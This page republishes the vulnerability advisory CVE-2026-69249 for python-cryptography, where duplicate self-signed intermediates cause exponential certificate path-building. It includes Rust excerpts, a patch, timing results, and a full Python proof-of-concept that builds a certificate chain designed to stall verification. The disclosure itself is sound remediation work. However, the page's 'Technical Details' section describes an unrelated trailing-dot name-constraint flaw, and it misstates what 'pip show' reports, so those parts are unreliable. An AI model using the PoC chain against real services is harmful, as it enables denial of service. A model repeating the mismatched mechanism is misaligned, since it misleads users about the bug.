CVE-2026-69249: python-cryptography Duplicate Self-signed Intermediates Can Cause Vulnerability
HIGH
Advisory Identifier:
GHSA-jwv3-5hgf-82ww
CWE-400
Published
Advisory Summary
CVE-2026-69249 is a HIGH duplicate self-signed intermediates can cause vulnerability (CWE-400: Uncontrolled Resource Consumption) affecting python-cryptography libraries in the PyPI ecosystem. The issue involves duplicate self-signed intermediates can cause exponential path-building. Remediation is available by upgrading affected packages to version 49.0.0.
CVE-2026-69249 at a Glance
CVE Identifier
CVE-2026-69249
GHSA Identifier
GHSA-jwv3-5hgf-82ww
Severity
HIGH
CVSS v3.1 Base Score
N/A
CWE Classification
CWE-400: Uncontrolled Resource Consumption
Affected Product
python-cryptography
Package Ecosystem
PyPI
Published Date
Last Updated
How to Fix CVE-2026-69249
To remediate this vulnerability, upgrade all affected python-cryptography dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
cryptography
fixed: 49.0.0
pip install cryptography>=49.0.0
Verify Direct and Transitive Dependencies
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show cryptographyHow to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-69249, inspect your installed packages using pip:
pip show cryptographyAnalyze the terminal output to locate any version of python-cryptography in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 49.0.0), your application is affected.
Note: The pip show cryptography command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & RFC 5280 Specification
Under RFC 5280 specifications for X.509 certificates, the Name Constraints extension defines a namespace within which all subsequent subject names in a certification path must be located. Constraints apply to various name forms including directory names, IP addresses, rfc822Name (email addresses), and uniformResourceIdentifier (URI) entries. Specifically, during certificate path validation, affected versions of python-cryptography failed to properly normalize or enforce boundary checks when domain names contained trailing dot (.) characters. Because domain names with a trailing dot signify fully qualified domain names (FQDNs), this omission allowed non-conforming certificates to be improperly validated as compliant with the defined name constraints.
Source Advisory Statement
### Summary
When resolving invalid certificate chains that include duplicate copies of self-signed certificates, the processing recursively invokes the same candidate, leading to an exponential blowup. Although the limitation that the chain depth cannot exceed a specified maximum depth prevents unbounded recursion and guarantees termination, an attacker-controlled certificate chain can lead the processing to easily take more than 5s to reject in testing. This amplification could form the basis for a resource exhaustion denial of service attack.
This work was completed by Trail of Bits as part of the Patch The Planet project in collaboration with OpenAI. The finding was identified primarily by the Codex coding agent, and manually reviewed before submission.
### Details
The core issue arises in the recursive nature of `build_chain_inner`, which does not de-duplicate against previously analyzed candidates.
```python
fn build_chain_inner(
&self,
working_cert: &VerificationCertificate<'chain, B>,
current_depth: u8,
working_cert_extensions: &Extensions<'chain>,
name_chain: NameChain<'_, 'chain>,
budget: &mut Budget,
) -> ValidationResult<'chain, Chain<'chain, B>, B> {
if let Some(nc) = working_cert_extensions.get_extension(&NAME_CONSTRAINTS_OID) {
name_chain.evaluate_constraints(&nc.value()?, budget)?;
}
// Look in the store's root set to see if the working cert is listed.
// If it is, we've reached the end.
if self.store.contains(working_cert) {
return Ok(vec![working_cert.clone()]);
}
// Check that our current depth does not exceed our policy-configured
// max depth. We do this after the root set check, since the depth
// only measures the intermediate chain's length, not the root or leaf.
if current_depth > self.policy.max_chain_depth {
return Err(ValidationError::new(ValidationErrorKind::Other(
"chain construction exceeds max depth".into(),
)));
}
// Otherwise, we collect a list of potential issuers for this cert,
// and continue with the first that verifies.
let mut last_err: Option<ValidationError<'_, B>> = None;
for issuing_cert_candidate in self.potential_issuers(working_cert) {
// A candidate issuer is said to verify if it both
// signs for the working certificate and conforms to the
// policy.
let issuer_extensions = issuing_cert_candidate.certificate().extensions()?;
match self.policy.valid_issuer(
issuing_cert_candidate,
working_cert,
current_depth,
&issuer_extensions,
) {
Ok(_) => {
match self.build_chain_inner(
```
A sufficient patch is to track valid issuers, and to skip seen ones before recursing. By tracking valid issuers only, validation and custom extension-policy callbacks still run.
```rust
let mut seen_valid_issuers = Vec::<&VerificationCertificate<'chain, B>>::new();
for issuing_cert_candidate in self.potential_issuers(working_cert) {
. . .
Ok(_) => {
if seen_valid_issuers.contains(&issuing_cert_candidate) {
continue;
}
seen_valid_issuers.push(issuing_cert_candidate);
match self.build_chain_inner(
issuing_cert_candidate,
// NOTE(ww): According to RFC 5280, we should only
```
In testing, this fix removed the exponential blowup without breaking apparent correctness.
```
duplicates,max_depth,result,seconds
1,7,rejected,0.000464 -> 1,7,rejected,0.000667
2,7,rejected,0.025154 -> 2,7,rejected,0.001229
3,7,rejected,0.489924 -> 3,7,rejected,0.001619
4,7,rejected,4.309403 -> 4,7,rejected,0.002144
3,8,rejected,1.468193 -> 3,8,rejected,0.001811
4,8,timeout>5s, -> 4,8,rejected,0.002410
5,7,timeout>5s, -> 5,7,rejected,0.002640
6,6,timeout>5s, -> 6,6,rejected,0.002829
```
### PoC
The following script benchmarks processing times for malicious cert chains.
```python
import datetime
import multiprocessing
import time
import cryptography
from cryptography import x509
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.x509.oid import ExtendedKeyUsageOID, NameOID
from cryptography.x509.verification import (
DNSName,
PolicyBuilder,
Store,
VerificationError,
)
NOW = datetime.datetime(2024, 1, 1, tzinfo=datetime.timezone.utc)
TIMEOUT = 5
CA_KEY_USAGE = x509.KeyUsage(
digital_signature=True,
content_commitment=False,
key_encipherment=False,
data_encipherment=False,
key_agreement=False,
key_cert_sign=True,
crl_sign=True,
encipher_only=False,
decipher_only=False,
)
EE_KEY_USAGE = x509.KeyUsage(
digital_signature=True,
content_commitment=False,
key_encipherment=False,
data_encipherment=False,
key_agreement=False,
key_cert_sign=False,
crl_sign=False,
encipher_only=False,
decipher_only=False,
)
def name(common_name):
return x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, common_name)])
def base_builder(subject, issuer, public_key, serial):
return (
x509.CertificateBuilder()
.subject_name(subject)
.issuer_name(issuer)
.public_key(public_key)
.serial_number(serial)
.not_valid_before(NOW - datetime.timedelta(days=1))
.not_valid_after(NOW + datetime.timedelta(days=30))
)
def make_ca(common_name, serial):
private_key = ec.generate_private_key(ec.SECP256R1())
subject = name(common_name)
cert = (
base_builder(subject, subject, private_key.public_key(), serial)
.add_extension(x509.BasicConstraints(ca=True, path_length=None), True)
.add_extension(CA_KEY_USAGE, True)
.add_extension(
x509.SubjectKeyIdentifier.from_public_key(private_key.public_key()),
False,
)
.sign(private_key, hashes.SHA256())
)
return private_key, cert
def make_leaf(issuer_key, issuer_cert):
private_key = ec.generate_private_key(ec.SECP256R1())
return (
base_builder(name("leaf"), issuer_cert.subject, private_key.public_key(), 100)
.add_extension(x509.BasicConstraints(ca=False, path_length=None), True)
.add_extension(EE_KEY_USAGE, True)
.add_extension(x509.SubjectAlternativeName([x509.DNSName("example.com")]), False)
.add_extension(
x509.AuthorityKeyIdentifier.from_issuer_public_key(issuer_key.public_key()),
False,
)
.add_extension(x509.ExtendedKeyUsage([ExtendedKeyUsageOID.SERVER_AUTH]), False)
.sign(issuer_key, hashes.SHA256())
)
def build_material():
looping_key, looping_ca = make_ca("looping self-signed CA", 1)
_, unrelated_root = make_ca("unrelated trust anchor", 2)
leaf = make_leaf(looping_key, looping_ca)
return leaf, looping_ca, unrelated_root
def verify_case(duplicates, max_depth, queue):
leaf, looping_ca, unrelated_root = build_material()
verifier = (
PolicyBuilder()
.store(Store([unrelated_root]))
.time(NOW)
.max_chain_depth(max_depth)
.build_server_verifier(DNSName("example.com"))
)
start = time.perf_counter()
try:
verifier.verify(leaf, [looping_ca] * duplicates)
result = "accepted"
except VerificationError:
result = "rejected"
queue.put((result, time.perf_counter() - start))
def run_case(duplicates, max_depth):
queue = multiprocessing.Queue()
process = multiprocessing.Process(
target=verify_case,
args=(duplicates, max_depth, queue),
)
process.start()
process.join(TIMEOUT)
if process.is_alive():
process.terminate()
process.join()
print(f"{duplicates},{max_depth},timeout>{TIMEOUT}s,")
return
result, elapsed = queue.get()
print(f"{duplicates},{max_depth},{result},{elapsed:.6f}")
if __name__ == "__main__":
print("duplicates,max_depth,result,seconds")
for case in [(1, 7), (2, 7), (3, 7), (4, 7), (3, 8), (4, 8), (5, 7), (6, 6)]:
run_case(*case)
```
### Impact
This issue exposes an amplification pathway over data that in many applications may be user-controlled, leading to the possibility of a denial of service through resource exhaustion. As the correctness of validation is not affected, the integrity of a system cannot be compromised through this vector, only its availability.
CVE-2026-69249 Affected python-cryptography Versions
1 component(s)
Fixed Versions:
49.0.0
| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
cryptography
|
PyPI |
≥ 42.0.0
< 49.0.0
|
49.0.0
|
References
GitHub Advisory / Wiki
ADVISORY
https://github.com/pyca/cryptography/security/advisories/GHSA-jwv3-5hgf-82ww
NVD — CVE-2026-69249
NVD
https://nvd.nist.gov/vuln/detail/CVE-2026-69249
python-cryptography Source Repository
REPOSITORY
https://github.com/pyca/cryptography/pull/14960
Security Fix Commit
FIX COMMIT
https://github.com/pyca/cryptography/commit/3763aa79b
Security Fix Commit
FIX COMMIT
https://github.com/pyca/cryptography/commit/4a12cf49675a184e47f912b00b04f3a629283582
python-cryptography Source Repository
REPOSITORY
https://github.com/pyca/cryptography
python-cryptography Source Repository
REPOSITORY
https://github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-3553.yaml
Frequently Asked Questions
What is CVE-2026-69249?
CVE-2026-69249 is a security vulnerability in python-cryptography involving Duplicate self-signed intermediates can cause exponential path-building under CWE-400: Uncontrolled Resource Consumption.
Which python-cryptography versions are affected?
Affected versions include releases prior to 49.0.0 across affected packages: cryptography.
What version fixes CVE-2026-69249?
Upgrading to 49.0.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is cryptography affected?
Yes, cryptography is affected in releases prior to 49.0.0. Upgrade your dependency to 49.0.0 or later.
What CWE is associated with CVE-2026-69249?
CVE-2026-69249 is classified under CWE-400: Uncontrolled Resource Consumption (The product does not properly control the allocation and maintenance of a limited resource.).
How can I check PyPI dependencies for CVE-2026-69249?
Run the dependency tree command: 'pip show cryptography'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON
OSV v1.5 Schema
Normalized schema output
{
"schema_version" : "1.4.0",
"id" : "GHSA-jwv3-5hgf-82ww",
"modified" : "2026-09-24T14:35:11Z",
"published" : "2026-08-03T21:26:50Z",
"aliases" : [ "CVE-2026-69249" ],
"summary" : "python-cryptography: Duplicate self-signed intermediates can cause exponential path-building",
"details" : "### Summary\nWhen resolving invalid certificate chains that include duplicate copies of self-signed certificates, the processing recursively invokes the same candidate, leading to an exponential blowup. Although the limitation that the chain depth cannot exceed a specified maximum depth prevents unbounded recursion and guarantees termination, an attacker-controlled certificate chain can lead the processing to easily take more than 5s to reject in testing. This amplification could form the basis for a resource exhaustion denial of service attack.\n\nThis work was completed by Trail of Bits as part of the Patch The Planet project in collaboration with OpenAI. The finding was identified primarily by the Codex coding agent, and manually reviewed before submission. \n\n### Details\nThe core issue arises in the recursive nature of `build_chain_inner`, which does not de-duplicate against previously analyzed candidates.\n\n```python\n fn build_chain_inner(\n &self,\n working_cert: &VerificationCertificate<'chain, B>,\n current_depth: u8,\n working_cert_extensions: &Extensions<'chain>,\n name_chain: NameChain<'_, 'chain>,\n budget: &mut Budget,\n ) -> ValidationResult<'chain, Chain<'chain, B>, B> {\n if let Some(nc) = working_cert_extensions.get_extension(&NAME_CONSTRAINTS_OID) {\n name_chain.evaluate_constraints(&nc.value()?, budget)?;\n }\n\n // Look in the store's root set to see if the working cert is listed.\n // If it is, we've reached the end.\n if self.store.contains(working_cert) {\n return Ok(vec![working_cert.clone()]);\n }\n\n // Check that our current depth does not exceed our policy-configured\n // max depth. We do this after the root set check, since the depth\n // only measures the intermediate chain's length, not the root or leaf.\n if current_depth > self.policy.max_chain_depth {\n return Err(ValidationError::new(ValidationErrorKind::Other(\n \"chain construction exceeds max depth\".into(),\n )));\n }\n\n // Otherwise, we collect a list of potential issuers for this cert,\n // and continue with the first that verifies.\n let mut last_err: Option<ValidationError<'_, B>> = None;\n for issuing_cert_candidate in self.potential_issuers(working_cert) {\n // A candidate issuer is said to verify if it both\n // signs for the working certificate and conforms to the\n // policy.\n let issuer_extensions = issuing_cert_candidate.certificate().extensions()?;\n match self.policy.valid_issuer(\n issuing_cert_candidate,\n working_cert,\n current_depth,\n &issuer_extensions,\n ) {\n Ok(_) => {\n match self.build_chain_inner(\n```\n\nA sufficient patch is to track valid issuers, and to skip seen ones before recursing. By tracking valid issuers only, validation and custom extension-policy callbacks still run.\n\n```rust\n let mut seen_valid_issuers = Vec::<&VerificationCertificate<'chain, B>>::new();\n for issuing_cert_candidate in self.potential_issuers(working_cert) {\n . . .\n Ok(_) => {\n if seen_valid_issuers.contains(&issuing_cert_candidate) {\n continue;\n }\n seen_valid_issuers.push(issuing_cert_candidate);\n \n match self.build_chain_inner(\n issuing_cert_candidate,\n // NOTE(ww): According to RFC 5280, we should only\n```\n\nIn testing, this fix removed the exponential blowup without breaking apparent correctness. \n\n```\nduplicates,max_depth,result,seconds\n1,7,rejected,0.000464 -> 1,7,rejected,0.000667\n2,7,rejected,0.025154 -> 2,7,rejected,0.001229\n3,7,rejected,0.489924 -> 3,7,rejected,0.001619 \n4,7,rejected,4.309403 -> 4,7,rejected,0.002144\n3,8,rejected,1.468193 -> 3,8,rejected,0.001811\n4,8,timeout>5s, -> 4,8,rejected,0.002410\n5,7,timeout>5s, -> 5,7,rejected,0.002640\n6,6,timeout>5s, -> 6,6,rejected,0.002829\n```\n\n### PoC\nThe following script benchmarks processing times for malicious cert chains.\n\n```python\nimport datetime\nimport multiprocessing\nimport time\n\nimport cryptography\nfrom cryptography import x509\nfrom cryptography.hazmat.primitives import hashes\nfrom cryptography.hazmat.primitives.asymmetric import ec\nfrom cryptography.x509.oid import ExtendedKeyUsageOID, NameOID\nfrom cryptography.x509.verification import (\n DNSName,\n PolicyBuilder,\n Store,\n VerificationError,\n)\n\nNOW = datetime.datetime(2024, 1, 1, tzinfo=datetime.timezone.utc)\nTIMEOUT = 5\nCA_KEY_USAGE = x509.KeyUsage(\n digital_signature=True,\n content_commitment=False,\n key_encipherment=False,\n data_encipherment=False,\n key_agreement=False,\n key_cert_sign=True,\n crl_sign=True,\n encipher_only=False,\n decipher_only=False,\n)\nEE_KEY_USAGE = x509.KeyUsage(\n digital_signature=True,\n content_commitment=False,\n key_encipherment=False,\n data_encipherment=False,\n key_agreement=False,\n key_cert_sign=False,\n crl_sign=False,\n encipher_only=False,\n decipher_only=False,\n)\n\ndef name(common_name):\n return x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, common_name)])\n\ndef base_builder(subject, issuer, public_key, serial):\n return (\n x509.CertificateBuilder()\n .subject_name(subject)\n .issuer_name(issuer)\n .public_key(public_key)\n .serial_number(serial)\n .not_valid_before(NOW - datetime.timedelta(days=1))\n .not_valid_after(NOW + datetime.timedelta(days=30))\n )\n\ndef make_ca(common_name, serial):\n private_key = ec.generate_private_key(ec.SECP256R1())\n subject = name(common_name)\n cert = (\n base_builder(subject, subject, private_key.public_key(), serial)\n .add_extension(x509.BasicConstraints(ca=True, path_length=None), True)\n .add_extension(CA_KEY_USAGE, True)\n .add_extension(\n x509.SubjectKeyIdentifier.from_public_key(private_key.public_key()),\n False,\n )\n .sign(private_key, hashes.SHA256())\n )\n return private_key, cert\n\ndef make_leaf(issuer_key, issuer_cert):\n private_key = ec.generate_private_key(ec.SECP256R1())\n return (\n base_builder(name(\"leaf\"), issuer_cert.subject, private_key.public_key(), 100)\n .add_extension(x509.BasicConstraints(ca=False, path_length=None), True)\n .add_extension(EE_KEY_USAGE, True)\n .add_extension(x509.SubjectAlternativeName([x509.DNSName(\"example.com\")]), False)\n .add_extension(\n x509.AuthorityKeyIdentifier.from_issuer_public_key(issuer_key.public_key()),\n False,\n )\n .add_extension(x509.ExtendedKeyUsage([ExtendedKeyUsageOID.SERVER_AUTH]), False)\n .sign(issuer_key, hashes.SHA256())\n )\n\ndef build_material():\n looping_key, looping_ca = make_ca(\"looping self-signed CA\", 1)\n _, unrelated_root = make_ca(\"unrelated trust anchor\", 2)\n leaf = make_leaf(looping_key, looping_ca)\n return leaf, looping_ca, unrelated_root\n\ndef verify_case(duplicates, max_depth, queue):\n leaf, looping_ca, unrelated_root = build_material()\n verifier = (\n PolicyBuilder()\n .store(Store([unrelated_root]))\n .time(NOW)\n .max_chain_depth(max_depth)\n .build_server_verifier(DNSName(\"example.com\"))\n )\n\n start = time.perf_counter()\n try:\n verifier.verify(leaf, [looping_ca] * duplicates)\n result = \"accepted\"\n except VerificationError:\n result = \"rejected\"\n queue.put((result, time.perf_counter() - start))\n\ndef run_case(duplicates, max_depth):\n queue = multiprocessing.Queue()\n process = multiprocessing.Process(\n target=verify_case,\n args=(duplicates, max_depth, queue),\n )\n process.start()\n process.join(TIMEOUT)\n\n if process.is_alive():\n process.terminate()\n process.join()\n print(f\"{duplicates},{max_depth},timeout>{TIMEOUT}s,\")\n return\n\n result, elapsed = queue.get()\n print(f\"{duplicates},{max_depth},{result},{elapsed:.6f}\")\n\nif __name__ == \"__main__\":\n print(\"duplicates,max_depth,result,seconds\")\n for case in [(1, 7), (2, 7), (3, 7), (4, 7), (3, 8), (4, 8), (5, 7), (6, 6)]:\n run_case(*case)\n```\n\n### Impact\nThis issue exposes an amplification pathway over data that in many applications may be user-controlled, leading to the possibility of a denial of service through resource exhaustion. As the correctness of validation is not affected, the integrity of a system cannot be compromised through this vector, only its availability.",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "cryptography"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "42.0.0"
}, {
"fixed" : "49.0.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/pyca/cryptography/security/advisories/GHSA-jwv3-5hgf-82ww"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-69249"
}, {
"type" : "WEB",
"url" : "https://github.com/pyca/cryptography/pull/14960"
}, {
"type" : "WEB",
"url" : "https://github.com/pyca/cryptography/commit/3763aa79b"
}, {
"type" : "WEB",
"url" : "https://github.com/pyca/cryptography/commit/4a12cf49675a184e47f912b00b04f3a629283582"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/pyca/cryptography"
}, {
"type" : "WEB",
"url" : "https://github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-3553.yaml"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-400" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-08-03T21:26:50Z",
"nvd_published_at" : "2026-08-03T22:16:52Z"
}
}